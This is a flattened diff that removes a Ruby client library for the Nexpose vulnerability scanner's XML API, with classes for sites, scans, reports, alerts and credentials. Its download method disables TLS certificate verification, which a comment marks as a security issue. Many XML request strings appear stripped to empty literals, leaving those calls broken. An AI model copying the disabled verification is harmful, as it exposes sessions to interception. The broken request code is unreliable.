res[:summary][k] = res[:summary][k].to_i - end - end - end - r.res.elements.each("//ScanSummary/message") do |message| - res[:message] = message.text - end - return res - else - return false - end - end - - def report_generate(param) - r = execute(make_xml('ReportGenerateRequest', { 'report-id' => param })) - r.success - end - - def report_last(param) - r = execute(make_xml('ReportHistoryRequest', { 'reportcfg-id' => param })) - res = nil - if(r.success) - stk = [] - r.res.elements.each("//ReportSummary") do |rep| - stk << [ rep.attributes['id'].to_i, rep.attributes['report-URI'] ] - end - if (stk.length > 0) - stk.sort!{|a,b| b[0] <=> a[0]} - res = stk[0][1] - end - end - res - end - - def report_last_detail(param) - r = execute(make_xml('ReportHistoryRequest', { 'reportcfg-id' => param })) - res = nil - if(r.success) - stk = {} - r.res.elements.each("//ReportSummary") do |rep| - stk[ rep.attributes['id'].to_i ] = { - 'id' => rep.attributes['id'].to_i, - 'url' => rep.attributes['report-URI'], - 'status' => rep.attributes['status'], - 'date' => rep.attributes['generated-on'] - } - end - if (stk.keys.length > 0) - res = stk[ stk.keys.sort{|a,b| b[0] <=> a[0]}.first ] - end - end - res - end - - def report_history(param) - execute(make_xml('ReportHistoryRequest', { 'reportcfg-id' => param })) - end - - def report_config_delete(param) - r = execute(make_xml('ReportDeleteRequest', { 'reportcfg-id' => param })) - r.success - end - - def report_delete(param) - r = execute(make_xml('ReportDeleteRequest', { 'report-id' => param })) - r.success - end - - def device_delete(param) - r = execute(make_xml('DeviceDeleteRequest', { 'device-id' => param })) - r.success - end - - def vuln_exception_create(vuln_id, reason, scope, comment='', attrs={}) - attrs = attrs.merge({ 'vuln-id' => vuln_id, 'reason' => reason, 'scope' => scope }) - req = make_xml('VulnerabilityExceptionCreateRequest', attrs) - com = make_xml_plain('comment', {}, comment.to_s) - req << com - r = execute(req, '1.2') - end - - def vuln_exception_approve(exception_id, comment='', attrs={}) - attrs = attrs.merge({ 'exception-id' => exception_id }) - req = make_xml('VulnerabilityExceptionApproveRequest', attrs) - com = make_xml_plain('comment', {}, comment.to_s) - req << com - r = execute(req, '1.2') - end - - def vuln_exception_update_expiration(exception_id, expiration_date, attrs={}) - attrs = attrs.merge({ 'exception-id' => exception_id, 'expiration-date' => expiration_date }) - req = make_xml('VulnerabilityExceptionUpdateExpirationDateRequest', attrs) - r = execute(req, '1.2') - end - - def asset_group_delete(connection, id, debug = false) - r = execute(make_xml('AssetGroupDeleteRequest', { 'group-id' => param })) - r.success - end - - def asset_group_create(name, description, devices) - req = make_xml('AssetGroupSaveRequest') - req_ag = make_xml_plain('AssetGroup', { 'id' => "-1", 'name' => name, 'description' => description }) - req_devices = make_xml_plain('Devices') - devices.each do |did| - req_devices << make_xml_plain('device', { 'id' => did }) - end - req_ag << req_devices - req << req_ag - r = execute(req) - end - - #------------------------------------------------------------------------- - # Returns all asset group information - #------------------------------------------------------------------------- - def asset_groups_listing() - r = execute(make_xml('AssetGroupListingRequest')) - - if r.success - res = [] - r.res.elements.each('//AssetGroupSummary') do |group| - res << { - :asset_group_id => group.attributes['id'].to_i, - :name => group.attributes['name'].to_s, - :description => group.attributes['description'].to_s, - :risk_score => group.attributes['riskscore'].to_f, - } - end - res - else - false - end - end - - #------------------------------------------------------------------------- - # Returns an asset group configuration information for a specific group ID - #------------------------------------------------------------------------- - def asset_group_config(group_id) - r = execute(make_xml('AssetGroupConfigRequest', {'group-id' => group_id})) - - if r.success - res = [] - r.res.elements.each('//Devices/device') do |device_info| - res << { - :device_id => device_info.attributes['id'].to_i, - :site_id => device_info.attributes['site-id'].to_i, - :address => device_info.attributes['address'].to_s, - :riskfactor => device_info.attributes['riskfactor'].to_f, - } - end - res - else - false - end - end - - #----------------------------------------------------------------------- - # Starts device specific site scanning. - # - # devices - An Array of device IDs - # hosts - An Array of Hashes [o]=>{:range=>"to,from"} [1]=>{:host=>host} - #----------------------------------------------------------------------- - def site_device_scan_start(site_id, devices, hosts) - - if hosts == nil and devices == nil - raise ArgumentError.new("Both the device and host list is nil") - end - - xml = make_xml('SiteDevicesScanRequest', {'site-id' => site_id}) - - if devices != nil - inner_xml = REXML::Element.new 'Devices' - for device_id in devices - inner_xml.add_element 'device', {'id' => "#{device_id}"} - end - xml.add_element inner_xml - end - - if hosts != nil - inner_xml = REXML::Element.new 'Hosts' - hosts.each_index do |x| - if hosts[x].key? :range - to = hosts[x][:range].split(',')[0] - from = hosts[x][:range].split(',')[1] - inner_xml.add_element 'range', {'to' => "#{to}", 'from' => "#{from}"} - end - if hosts[x].key? :host - host_element = REXML::Element.new 'host' - host_element.text = "#{hosts[x][:host]}" - inner_xml.add_element host_element - end - end - xml.add_element inner_xml - end - - r = execute xml - if r.success - r.res.elements.each('//Scan') do |scan_info| - return { - :scan_id => scan_info.attributes['scan-id'].to_i, - :engine_id => scan_info.attributes['engine-id'].to_i - } - end - else - false - end - end - - def site_delete(param) - r = execute(make_xml('SiteDeleteRequest', { 'site-id' => param })) - r.success - end - - def site_listing - r = execute(make_xml('SiteListingRequest', { })) - - if(r.success) - res = [] - r.res.elements.each("//SiteSummary") do |site| - res << { - :site_id => site.attributes['id'].to_i, - :name => site.attributes['name'].to_s, - :risk_factor => site.attributes['riskfactor'].to_f, - :risk_score => site.attributes['riskscore'].to_f, - } - end - return res - else - return false - end - end - - #----------------------------------------------------------------------- - # TODO: Needs to be expanded to included details - #----------------------------------------------------------------------- - def site_scan_history(site_id) - r = execute(make_xml('SiteScanHistoryRequest', {'site-id' => site_id.to_s})) - - if (r.success) - res = [] - r.res.elements.each("//ScanSummary") do |site_scan_history| - res << { - :site_id => site_scan_history.attributes['site-id'].to_i, - :scan_id => site_scan_history.attributes['scan-id'].to_i, - :engine_id => site_scan_history.attributes['engine-id'].to_i, - :start_time => site_scan_history.attributes['startTime'].to_s, - :end_time => site_scan_history.attributes['endTime'].to_s - } - end - return res - else - false - end - end - - def site_device_listing(site_id) - r = execute(make_xml('SiteDeviceListingRequest', { 'site-id' => site_id.to_s })) - - if(r.success) - res = [] - r.res.elements.each("//device") do |device| - res << { - :device_id => device.attributes['id'].to_i, - :address => device.attributes['address'].to_s, - :risk_factor => device.attributes['riskfactor'].to_f, - :risk_score => device.attributes['riskscore'].to_f, - } - end - return res - else - return false - end - end - - def report_template_listing - r = execute(make_xml('ReportTemplateListingRequest', { })) - - if(r.success) - res = [] - r.res.elements.each("//ReportTemplateSummary") do |template| - desc = '' - template.elements.each("//description") do |ent| - desc = ent.text - end - - res << { - :template_id => template.attributes['id'].to_s, - :name => template.attributes['name'].to_s, - :description => desc.to_s - } - end - return res - else - return false - end - end - - - def console_command(cmd_string) - xml = make_xml('ConsoleCommandRequest', { }) - cmd = REXML::Element.new('Command') - cmd.text = cmd_string - xml << cmd - - r = execute(xml) - - if(r.success) - res = "" - r.res.elements.each("//Output") do |out| - res << out.text.to_s - end - - return res - else - return false - end - end - - def system_information - r = execute(make_xml('SystemInformationRequest', { })) - - if(r.success) - res = {} - r.res.elements.each("//Statistic") do |stat| - res[ stat.attributes['name'].to_s ] = stat.text.to_s - end - - return res - else - return false - end - end - -end - -# === Description -# Object that represents a connection to a Nexpose Security Console. -# -# === Examples -# # Create a new Nexpose Connection on the default port -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# -# # Login to NSC and Establish a Session ID -# nsc.login() -# -# # Check Session ID -# if (nsc.session_id) -# puts "Login Successful" -# else -# puts "Login Failure" -# end -# -# # //Logout -# logout_success = nsc.logout() -# if (! logout_success) -# puts "Logout Failure" + "" + nsc.error_msg.to_s -# end -# -class Connection - include XMLUtils - include NexposeAPI - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # Session ID of this connection - attr_reader :session_id - # The hostname or IP Address of the NSC - attr_reader :host - # The port of the NSC (default is 3780) - attr_reader :port - # The username used to login to the NSC - attr_reader :username - # The password used to login to the NSC - attr_reader :password - # The URL for communication - attr_reader :url - - # Constructor for Connection - def initialize(ip, user, pass, port = 3780) - @host = ip - @port = port - @username = user - @password = pass - @session_id = nil - @error = false - @url = "https://#{@host}:#{@port}/api/1.1/xml" - @url_base = "https://#{@host}:#{@port}/api/" - end - - # Establish a new connection and Session ID - def login - - # This throws an APIError exception if necessary - r = execute(make_xml('LoginRequest', { 'sync-id' => 0, 'password' => @password, 'user-id' => @username })) - if(r.success) - @session_id = r.sid - return true - end - - false - end - - # Logout of the current connection - def logout - # Bypass logout unless we have an actual session ID - return true unless @session_id - - r = execute(make_xml('LogoutRequest', {'sync-id' => 0})) - if(r.success) - return true - end - raise APIError.new(r, 'Logout failed') - end - - # Execute an API request - def execute(xml, version='1.1') - APIRequest.execute("#{@url_base}#{version}/xml", xml.to_s) - end - - # Download a specific URL - def download(url) - uri = URI.parse(url) - http = Net::HTTP.new(@host, @port) - http.use_ssl = true - http.verify_mode = OpenSSL::SSL::VERIFY_NONE # XXX: security issue - headers = {'Cookie' => "nexposeCCSessionID=#{@session_id}"} - resp = http.get(uri.path, headers) - - resp ? resp.body : nil - end -end - -# === Description -# Object that represents a listing of all of the sites available on an NSC. -# -# === Example -# # Create a new Nexpose Connection on the default port and Login -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# nsc->login(); -# -# # Get Site Listing -# sitelisting = SiteListing.new(nsc) -# -# # Enumerate through all of the SiteSummaries -# sitelisting.sites.each do |sitesummary| -# # Do some operation on each site -# end -# -class SiteListing - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # Array containing SiteSummary objects for each site in the connection - attr_reader :sites - # The number of sites - attr_reader :site_count - - # Constructor - # SiteListing (connection) - def initialize(connection) - @sites = [] - - @connection = connection - - r = @connection.execute('') - - if (r.success) - parse(r.res) - else - raise APIError.new(r, "Failed to get site listing") - end - end - - def parse(r) - r.elements.each('SiteListingResponse/SiteSummary') do |s| - site_summary = SiteSummary.new( - s.attributes['id'].to_s, - s.attributes['name'].to_s, - s.attributes['description'].to_s, - s.attributes['riskfactor'].to_s - ) - @sites.push(site_summary) - end - @site_count = @sites.length - end -end - -# === Description -# Object that represents the summary of a Nexpose Site. -# -class SiteSummary - # The Site ID - attr_reader :id - # The Site Name - attr_reader :site_name - # A Description of the Site - attr_reader :description - # User assigned risk multiplier - attr_reader :riskfactor - - # Constructor - # SiteSummary(id, site_name, description, riskfactor = 1) - def initialize(id, site_name, description, riskfactor = 1) - @id = id - @site_name = site_name - @description = description - @riskfactor = riskfactor - end - - def _set_id(id) - @id = id - end -end - -# === Description -# Object that represents a single IP address or an inclusive range of IP addresses. If to is nil then the from field will be used to specify a single IP Address only. -# -class IPRange - # Start of Range *Required - attr_reader :from; - # End of Range *Optional (If Null then IPRange is a single IP Address) - attr_reader :to; - - def initialize(from, to = nil) - @from = from - @to = to - end - - include Sanitize - def to_xml - if (to and not to.empty?) - return %Q{} - else - return %Q{} - end - end -end - -# === Description -# Object that represents a hostname to be added to a site. -class HostName - - # The hostname - attr_reader :hostname - - def initialize(hostname) - @hostname = hostname - end - - include Sanitize - def to_xml - "#{replace_entities(hostname)}" - end -end - -# === Description -# Object that represents the configuration of a Site. This object is automatically created when a new Site object is instantiated. -# -class SiteConfig - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Site ID - attr_reader :site_id - # The Site Name - attr_reader :site_name - # A Description of the Site - attr_reader :description - # User assigned risk multiplier - attr_reader :riskfactor - # Array containing ((IPRange|HostName)*) - attr_reader :hosts - # Array containing (AdminCredentials*) - attr_reader :credentials - # Array containing ((SmtpAlera|SnmpAlert|SyslogAlert)*) - attr_reader :alerts - # ScanConfig object which holds Schedule and ScanTrigger Objects - attr_reader :scanConfig - - def initialize() - @xml_tag_stack = Array.new() - @hosts = Array.new() - @credentials = Array.new() - @alerts = Array.new() - @error = false - end - - # Adds a new host to the hosts array - def addHost(host) - @hosts.push(host) - end - - # Adds a new alert to the alerts array - def addAlert(alert) - @alerts.push(alert) - end - - # Adds a new set of credentials to the credentials array - def addCredentials(credential) - @credentials.push(credential) - end - - # TODO - def getSiteConfig(connection,site_id) - @connection = connection - @site_id = site_id - - r = APIRequest.execute(@connection.url,'') - parse(r.res) - end - - def _set_site_id(site_id) - @site_id = site_id - end - - def _set_site_name(site_name) - @site_name = site_name - end - - def _set_description(description) - @description = description - end - - def _set_riskfactor(riskfactor) - @riskfactor = riskfactor - end - - def _set_scanConfig(scanConfig) - @scanConfig = scanConfig - end - - def _set_connection(connection) - @connection = connection - end -=begin - - - - - - - - - - - - - - - - - -=end - - def parse(response) - response.elements.each('SiteConfigResponse/Site') do |s| - @site_id = s.attributes['id'] - @site_name = s.attributes['name'] - @description = s.attributes['description'] - @riskfactor = s.attributes['riskfactor'] - s.elements.each('Hosts/range') do |r| - @hosts.push(IPRange.new(r.attributes['from'],r.attributes['to'])) - end - s.elements.each('ScanConfig') do |c| - @scanConfig = ScanConfig.new(c.attributes['configID'], - c.attributes['name'], - c.attributes['configVersion'], - c.attributes['templateID']) - s.elements.each('Schedule') do |schedule| - schedule = new Schedule(schedule.attributes["type"], schedule.attributes["interval"], schedule.attributes["start"], schedule.attributes["enabled"]) - @scanConfig.addSchedule(schedule) - end - end - - s.elements.each('Alerting/Alert') do |a| - - a.elements.each('smtpAlert') do |smtp| - smtp_alert = SmtpAlert.new(a.attributes["name"], smtp.attributes["sender"], smtp.attributes["limitText"], a.attributes["enabled"]) - - smtp.elements.each('recipient') do |recipient| - smtp_alert.addRecipient(recipient.text) - end - @alerts.push(smtp_alert) - end - - a.elements.each('snmpAlert') do |snmp| - snmp_alert = SnmpAlert.new(a.attributes["name"], snmp.attributes["community"], snmp.attributes["server"], a.attributes["enabled"]) - @alerts.push(snmp_alert) - end - a.elements.each('syslogAlert') do |syslog| - syslog_alert = SyslogAlert.new(a.attributes["name"], syslog.attributes["server"], a.attributes["enabled"]) - @alerts.push(syslog_alert) - end - - a.elements.each('vulnFilter') do |vulnFilter| - - #vulnfilter = new VulnFilter.new(a.attributes["typemask"], a.attributes["severityThreshold"], $attrs["MAXALERTS"]) - # Pop off the top alert on the stack - #$alert = @alerts.pop() - # Add the new recipient string to the Alert Object - #$alert.setVulnFilter($vulnfilter) - # Push the alert back on to the alert stack - #array_push($this->alerts, $alert) - end - - a.elements.each('scanFilter') do |scanFilter| - # - #scanfilter = ScanFilter.new(scanFilter.attributes['scanStop'],scanFilter.attributes['scanFailed'],scanFilter.attributes['scanStart']) - #alert = @alerts.pop() - #alert.setScanFilter(scanfilter) - #@alerts.push(alert) - end - end - end - end -end - -# === Description -# Object that represents the scan history of a site. -# -class SiteScanHistory - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Site ID - attr_reader :site_id - # //Array containing (ScanSummary*) - attr_reader :scan_summaries - - def initialize(connection, id) - @site_id = id - @error = false - @connection = connection - @scan_summaries = Array.new() - - r = @connection.execute('') - status = r.success - end -end - -# === Description -# Object that represents a listing of devices for a site or the entire NSC. Note that only devices which are accessible to the account used to create the connection object will be returned. This object is created and populated automatically with the instantiation of a new Site object. -# -class SiteDeviceListing - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Site ID. 0 if all sites are specified. - attr_reader :site_id - # //Array of (Device)* - attr_reader :devices - - def initialize(connection, site_id = 0) - - @site_id = site_id - @error = false - @connection = connection - @devices = Array.new() - - r = nil - if (@site_id) - r = @connection.execute('') - else - r = @connection.execute('') - end - - if(r.success) - response.elements.each('SiteDeviceListingResponse/SiteDevices/device') do |d| - @devices.push(Device.new(d.attributes['id'],@site_id,d.attributes["address"],d.attributes["riskfactor"],d.attributes['riskscore'])) - end - end - end -end - -# === Description -# Object that represents a site, including the site configuration, scan history, and device listing. -# -# === Example -# # Create a new Nexpose Connection on the default port and Login -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# nsc.login() -# -# # Get an Existing Site -# site_existing = Site.new(nsc,184) -# -# # Create a New Site, add some hosts, and save it to the NSC -# site = Site.new(nsc) -# site.setSiteConfig("New Site", "New Site Created in the API") -# -# # Add the hosts -# site.site_config.addHost(HostName.new("localhost")) -# site.site_config.addHost(IPRange.new("192.168.7.1","192.168.7.255")) -# site.site_config.addHost(IPRange.new("10.1.20.30")) -# -# status = site.saveSite() -# -class Site - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Site ID - # site_id = -1 means create a new site. The NSC will assign a new site_id on SiteSave. - attr_reader :site_id - # A summary overview of this site - # SiteSummary Object - attr_reader :site_summary - # The configuration of this site - # SiteConfig Object - attr_reader :site_config - # The device listing for this site - # SiteDeviceListing Object - attr_reader :site_device_listing - # The scan history of this site - # SiteScanHistory Object - attr_reader :site_scan_history - - def initialize(connection, site_id = -1) - @error = false - @connection = connection - @site_id = site_id - - # If site_id > 0 then get SiteConfig - if (@site_id.to_i > 0) - # Create new SiteConfig object - @site_config = SiteConfig.new() - # Populate SiteConfig Obect with Data from the NSC - @site_config.getSiteConfig(@connection,@site_id) - @site_summary = SiteSummary.new(@site_id, @site_config.site_name, @site_config.description, @site_config.riskfactor) - @site_scan_history = SiteScanHistory.new(@connection,@site_id) - @site_device_listing = SiteDeviceListing.new(@connection,@site_id) - - else - # Just in case user enters a number > -1 or = 0 - @site_id = -1 - - @site_config = SiteConfig.new() - setSiteConfig("New Site " + rand(999999999999).to_s,"") - @site_summary = nil - - end - - end - - # Creates a new site summary - def setSiteSummary(site_name, description, riskfactor = 1) - @site_summary = SiteSummary.new(-1,site_name,description,riskfactor) - - end - - # Creates a new site configuration - def setSiteConfig(site_name, description, riskfactor = 1) - setSiteSummary(site_name,description,riskfactor) - @site_config = SiteConfig.new() - @site_config._set_site_id(-1) - @site_config._set_site_name(site_name) - @site_config._set_description(description) - @site_config._set_riskfactor(riskfactor) - @site_config._set_scanConfig(ScanConfig.new(-1,"tmp","full-audit")) - @site_config._set_connection(@connection) - - end - - # Initiates a scan of this site. If successful returns scan_id and engine_id in an associative array. Returns false if scan is unsuccessful. - def scanSite() - r = @connection.execute('') - if(r.success) - res = {} - r.res.elements.each('//Scan/') do |s| - res[:scan_id] = s.attributes['scan-id'] - res[:engine_id] = s.attributes['engine-id'] - end - return res - else - return false - end - end - - # Saves this site in the NSC - def saveSite() - r = @connection.execute('' + getSiteXML() + ' ') - if (r.success) - @site_id = r.attributes['site-id'] - @site_config._set_site_id(@site_id) - @site_config.scanConfig._set_configID(@site_id) - @site_config.scanConfig._set_name(@site_id) - return true - else - return false - end - end - - def deleteSite() - r = @connection.execute('') - r.success - end - - - def printSite() - puts "Site ID: " + @site_summary.id - puts "Site Name: " + @site_summary.site_name - puts "Site Description: " + @site_summary.description - puts "Site Risk Factor: " + @site_summary.riskfactor - end - - def getSiteXML() - - xml = '' - - xml << ' ' - @site_config.hosts.each do |h| - xml << h.to_xml if h.respond_to? :to_xml - end - xml << '' - - xml << '' - @site_config.credentials.each do |c| - xml << c.to_xml if c.respond_to? :to_xml - end - xml << ' ' - - xml << ' ' - @site_config.alerts.each do |a| - xml << a.to_xml if a.respond_to? :to_xml - end - xml << ' ' - - xml << ' ' - - xml << ' ' - @site_config.scanConfig.schedules.each do |s| - xml << ' ' - end - xml << ' ' - - xml << ' ' - @site_config.scanConfig.scanTriggers.each do |s| - - if s.kind_of?(Nexpose::AutoUpdate) - xml << ' ' - end - end - - xml << ' ' - - xml << ' ' - - xml << ' ' - - return xml - end -end - -# === Description -# Object that represents administrative credentials to be used during a scan. When retrived from an existing site configuration the credentials will be returned as a security blob and can only be passed back as is during a Site Save operation. This object can only be used to create a new set of credentials. -# -class AdminCredentials - # Security blob for an existing set of credentials - attr_reader :securityblob - # Designates if this object contains user defined credentials or a security blob - attr_reader :isblob - # The service for these credentials. Can be All. - attr_reader :service - # The host for these credentials. Can be Any. - attr_reader :host - # The port on which to use these credentials. - attr_reader :port - # The user id or username - attr_reader :userid - # The password - attr_reader :password - # The realm for these credentials - attr_reader :realm - - - def initialize(isblob = false) - @isblob = isblob - end - - # Sets the credentials information for this object. - def setCredentials(service, host, port, userid, password, realm) - @isblob = false - @securityblob = nil - @service = service - @host = host - @port = port - @userid = userid - @password = password - @realm = realm - end - - # TODO: add description - def setService(service) - @service = service - end - - def setHost(host) - @host = host - end - - # TODO: add description - def setBlob(securityblob) - @isblob = true - @securityblob = securityblob - end - - include Sanitize - def to_xml - xml = '' - xml << '' - xml << replace_entities(securityblob) if (isblob) - xml << '' - - xml - end -end - - -# === Description -# Object that represents an SMTP (Email) Alert. -# -class SmtpAlert - # A unique name for this alert - attr_reader :name - # If this alert is enabled or not - attr_reader :enabled - # The email address of the sender - attr_reader :sender - # Limit the text for mobile devices - attr_reader :limitText - # Array containing Strings of email addresses - # Array of strings with the email addresses of the intended recipients - attr_reader :recipients - # The vulnerability filter to trigger the alert - attr_reader :vulnFilter - # The alert type - attr_reader :type - - def initialize(name, sender, limitText, enabled = 1) - @type = :smtp - @name = name - @sender = sender - @enabled = enabled - @limitText = limitText - @recipients = Array.new() - # Sets default vuln filter - All Events - setVulnFilter(VulnFilter.new("50790400",1)) - end - - # Adds a new Recipient to the recipients array - def addRecipient(recipient) - @recipients.push(recipient) - end - - # Sets the Vulnerability Filter for this alert. - def setVulnFilter(vulnFilter) - @vulnFilter = vulnFilter - end - - include Sanitize - def to_xml - xml = "} - recipients.each do |recpt| - xml << "#{replace_entities(recpt)}" - end - xml << vulnFilter.to_xml - xml << "" - xml - end -end - -# === Description -# Object that represents an SNMP Alert. -# -class SnmpAlert - - # A unique name for this alert - attr_reader :name - # If this alert is enabled or not - attr_reader :enabled - # The community string - attr_reader :community - # The SNMP server to sent this alert - attr_reader :server - # The vulnerability filter to trigger the alert - attr_reader :vulnFilter - # The alert type - attr_reader :type - - def initialize(name, community, server, enabled = 1) - @type = :snmp - @name = name - @community = community - @server = server - @enabled = enabled - # Sets default vuln filter - All Events - setVulnFilter(VulnFilter.new("50790400",1)) - end - - # Sets the Vulnerability Filter for this alert. - def setVulnFilter(vulnFilter) - @vulnFilter = vulnFilter - end - - include Sanitize - def to_xml - xml = "} - xml << vulnFilter.to_xml - xml << "" - xml - end - -end - -# === Description -# Object that represents a Syslog Alert. -# -class SyslogAlert - - # A unique name for this alert - attr_reader :name - # If this alert is enabled or not - attr_reader :enabled - # The Syslog server to sent this alert - attr_reader :server - # The vulnerability filter to trigger the alert - attr_reader :vulnFilter - # The alert type - attr_reader :type - - def initialize(name, server, enabled = 1) - @type = :syslog - @name = name - @server = server - @enabled = enabled - # Sets default vuln filter - All Events - setVulnFilter(VulnFilter.new("50790400",1)) - - end - - # Sets the Vulnerability Filter for this alert. - def setVulnFilter(vulnFilter) - @vulnFilter = vulnFilter - end - - include Sanitize - def to_xml - xml = "} - xml << vulnFilter.to_xml - xml << "" - xml - end - -end - -# TODO: review -# -# === Description -# -class ScanFilter - - attr_reader :scanStop - attr_reader :scanFailed - attr_reader :scanStart - - def initialize(scanstop, scanFailed, scanStart) - - @scanStop = scanStop - @scanFailed = scanFailed - @scanStart = scanStart - - end - -end - -# TODO: review -# === Description -# -class VulnFilter - - attr_reader :typeMask - attr_reader :maxAlerts - attr_reader :severityThreshold - - def initialize(typeMask, severityThreshold, maxAlerts = -1) - @typeMask = typeMask - @maxAlerts = maxAlerts - @severityThreshold = severityThreshold - end - - include Sanitize - def to_xml - xml = "" - - xml - end - -end - -# TODO add engineID -# === Description -# Object that represents the scanning configuration for a Site. -# -class ScanConfig - # A unique ID for this scan configuration - attr_reader :configID - # The name of the scan template - attr_reader :name - # The ID of the scan template used full-audit, exhaustive-audit, web-audit, dos-audit, internet-audit, network-audit - attr_reader :templateID - # The configuration version (default is 2) - attr_reader :configVersion - # Array of (Schedule)* - attr_reader :schedules - # Array of (ScanTrigger)* - attr_reader :scanTriggers - - def initialize(configID, name, templateID, configVersion = 2) - - @configID = configID - @name = name - @templateID = templateID - @configVersion = configVersion - @schedules = Array.new() - @scanTriggers = Array.new() - - end - - # Adds a new Schedule for this ScanConfig - def addSchedule(schedule) - @schedules.push(schedule) - end - - # Adds a new ScanTrigger to the scanTriggers array - def addScanTrigger(scanTrigger) - @scanTriggers.push(scanTrigger) - end - - def _set_configID(configID) - @configID = configID - end - - def _set_name(name) - @name = name - end - -end - -# === Description -# Object that holds a scan schedule -# -class Schedule - # Type of Schedule (daily|hourly|monthly|weekly) - attr_reader :type - # The schedule interval - attr_reader :interval - # The date and time to start the first scan - attr_reader :start - # Enable or disable this schedule - attr_reader :enabled - # The date and time to disable to schedule. If null then the schedule will run forever. - attr_reader :notValidAfter - # Scan on the same date each time - attr_reader :byDate - - def initialize(type, interval, start, enabled = 1) - - @type = type - @interval = interval - @start = start - @enabled = enabled - - end - - - -end - -# === Description -# Object that holds an event that triggers the start of a scan. -# -class ScanTrigger - # Type of Trigger (AutoUpdate) - attr_reader :type - # Enable or disable this scan trigger - attr_reader :enabled - # Sets the trigger to start an incremental scan or a full scan - attr_reader :incremental - - def initialize(type, incremental, enabled = 1) - - @type = type - @incremental = incremental - @enabled = enabled - - end - -end - -# === Description -# Object that represents a single device in an NSC. -# -class Device - - # A unique device ID (assigned by the NSC) - attr_reader :id - # The site ID of this devices site - attr_reader :site_id - # IP Address or Hostname of this device - attr_reader :address - # User assigned risk multiplier - attr_reader :riskfactor - # Nexpose risk score - attr_reader :riskscore - - def initialize(id, site_id, address, riskfactor=1, riskscore=0) - @id = id - @site_id = site_id - @address = address - @riskfactor = riskfactor - @riskscore = riskscore - - end - -end - - -# === Description -# Object that represents a summary of a scan. -# -class ScanSummary - # The Scan ID of the Scan - attr_reader :scan_id - # The Engine ID used to perform the scan - attr_reader :engine_id - # TODO: add description - attr_reader :name - # The scan start time - attr_reader :startTime - # The scan finish time - attr_reader :endTime - # The scan status (running|finished|stopped|error| dispatched|paused|aborted|uknown) - attr_reader :status - # The number of pending tasks - attr_reader :tasks_pending - # The number of active tasks - attr_reader :tasks_active - # The number of completed tasks - attr_reader :tasks_completed - # The number of "live" nodes - attr_reader :nodes_live - # The number of "dead" nodes - attr_reader :nodes_dead - # The number of filtered nodes - attr_reader :nodes_filtered - # The number of unresolved nodes - attr_reader :nodes_unresolved - # The number of "other" nodes - attr_reader :nodes_other - # Confirmed vulnerabilities found (indexed by severity) - # Associative array, indexed by severity - attr_reader :vuln_exploit - # Unconfirmed vulnerabilities found (indexed by severity) - # Associative array, indexed by severity - attr_reader :vuln_version - # Not vulnerable checks run (confirmed) - attr_reader :not_vuln_exploit - # Not vulnerable checks run (unconfirmed) - attr_reader :not_vuln_version - # Vulnerability check errors - attr_reader :vuln_error - # Vulnerability checks disabled - attr_reader :vuln_disabled - # Vulnerability checks other - attr_reader :vuln_other - - # Constructor - # ScanSummary(can_id, $engine_id, $name, tartTime, $endTime, tatus) - def initialize(scan_id, engine_id, name, startTime, endTime, status) - - @scan_id = scan_id - @engine_id = engine_id - @name = name - @startTime = startTime - @endTime = endTime - @status = status - - end - -end - -# TODO -# === Description -# Object that represents the overview statistics for a particular scan. -# -# === Examples -# -# # Create a new Nexpose Connection on the default port and Login -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# nsc.login() -# -# # Get a Site (Site ID = 12) from the NSC -# site = new Site(nsc,12) -# -# # Start a Scan of this site and pause for 1 minute -# scan1 = site.scanSite() -# sleep(60) -# -# # Get the Scan Statistics for this scan -# scanStatistics = new ScanStatistics(nsc,scan1["scan_id"]) -# -# # Print out number of confirmed vulnerabilities with a 10 severity -# puts scanStatistics.scansummary.vuln_exploit[10] -# -# # Print out the number of pending tasks left in the scan -# puts scanStatistics.scan_summary.tasks_pending -# -class ScanStatistics - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :reseponse_xml - # The Scan ID - attr_reader :scan_id - # The ScanSummary of the scan - attr_reader :scan_summary - # The NSC Connection associated with this object - attr_reader :connection - - # Vulnerability checks other - attr_reader :vuln_other - def initialize(connection, scan_id) - @error = false - @connection = connection - @scan_id = scan_id - end -end - -# ==== Description -# Object that represents a listing of all of the scan engines available on to an NSC. -# -class EngineListing - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # Array containing (EngineSummary*) - attr_reader :engines - # The number of scan engines - attr_reader :engine_count - - # Constructor - # EngineListing (connection) - def initialize(connection) - @connection = connection - end -end - -# ==== Description -# Object that represents the summary of a scan engine. -# -# ==== Examples -# -# # Create a new Nexpose Connection on the default port and Login -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# nsc.login() -# -# # Get the engine listing for the connection -# enginelisting = EngineListing.new(nsc) -# -# # Print out the status of the first scan engine -# puts enginelisting.engines[0].status -# -class EngineSummary - # A unique ID that identifies this scan engine - attr_reader :id - # The name of this scan engine - attr_reader :name - # The hostname or IP address of the engine - attr_reader :address - # The port there 